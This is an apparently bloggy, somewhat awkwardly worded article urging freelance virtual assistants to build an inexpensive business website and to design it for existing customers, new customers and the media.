If you believe it is time to begin concentrating on composing your online existence and establishing relationships, perhaps it is time to get an understanding of how a virtual assistant can bring about that long term success with a website.

10. You can get all of these benefits without spending a bunch of cash:

The most important advantage of a website is that it does not amount to a lot, to put up. For a satisfactory price, your services as a virtual assistant will get better online attention and engagement. A storefront or an individual salesperson can attend to several customers, whereas a website can assist thousands, if not millions of public at a period. This facilitates you to share the message with everyone, whenever they wish to give attention to it, at a time that is suitable for them. If you have information that you wish to share, a website is one of the best, inexpensive and effective platforms available.

A website for a virtual assistant is not very expensive to build as it does not require a complex structure. You do not need to be a web designer to set up your virtual assistant website. Gone are the days when you needed to know HTML and other programming languages to set up your website. There are many online agencies that offer one-stop services to set up a website at a minimal price. And if you do not want to pay for an agency to set up your virtual assistant website, a few YouTube tutorials can enable you to set up your own website. In that case, the only money you need to spend is to buy a domain name for your website and a hosting plan.

Who is the website for?

The last, but by no means the least, thing about website creation is that they serve all target users equally. When creating a website, you should keep in mind how you will keep the visitors on your website engaged. A good virtual assistant website seeks to grab the attention of the target visitors by offering them solutions to their problems. So remember at the very beginning of the site creation, to take into account at least the role of the following target groups.

Existing customers

An existing customer base is very important for all. This target group brings in the lion’s share of turnover, and it goes without saying that they must then be able to be taken into account and kept satisfied, at least satisfactorily. On the other hand, even if your service is a one-time service, customers who have made a purchase can still have a positive impact on the result you make. So give them an easy opportunity to share positive news about your business on social media (reviews, share buttons, etc.).

New customers

The information provided to new potential customers is slightly different from that provided to existing customers (although an existing customer may also be a potential future customer, depending on the service packages offered).

In any case, potential customers include the target audience that is at some point acquiring the service you offer. Today, it is more than likely that before making a purchase decision, customers make an independent comparison between virtual assistants and ultimately choose the one that provides them with the best possible services as a whole. The information on the website that reflects customers’ potential problems and needs, as well as a clear purchasing path, are directly comparable to the personal services received by them.

Media

If a virtual assistant actively produces content of interest to the media, a completely separate topic area should also be found for this purpose. This is commonplace, as a similar section must exist for smooth media and stakeholder communication. It is also easy to add information about the services, newsletters, and other possible downloadable material under the media.

Conclusion

A website is a communicator of your business needs in the 21st century. Many years ago, websites were used only by educational institutions and government agencies for the purpose of mass information of the population. Nowadays, however, the internet is open to a much wider audience, with so many types of sites that it is difficult to differentiate them. The buyer wants the website not only information but also persuasiveness. Just as the buyer must be able to rely on the seller’s expertise and honest approach. Good customer service is proactive. It’s also nice that the website answers the visitor’s question, and he or she doesn’t have to fill out the “contact me if you have any questions” forms for just the basics.

As a virtual assistant, a static Contact page online is no longer enough. Customers want information, experiences, and service online. All virtual assistants today need mobile websites that can be accessed anywhere, anytime. As a VA, we need to be able to serve our customers constantly. A good website should always work properly which acts as a sales machine that works at any time of the day. Remember, the website acts as your business card online.

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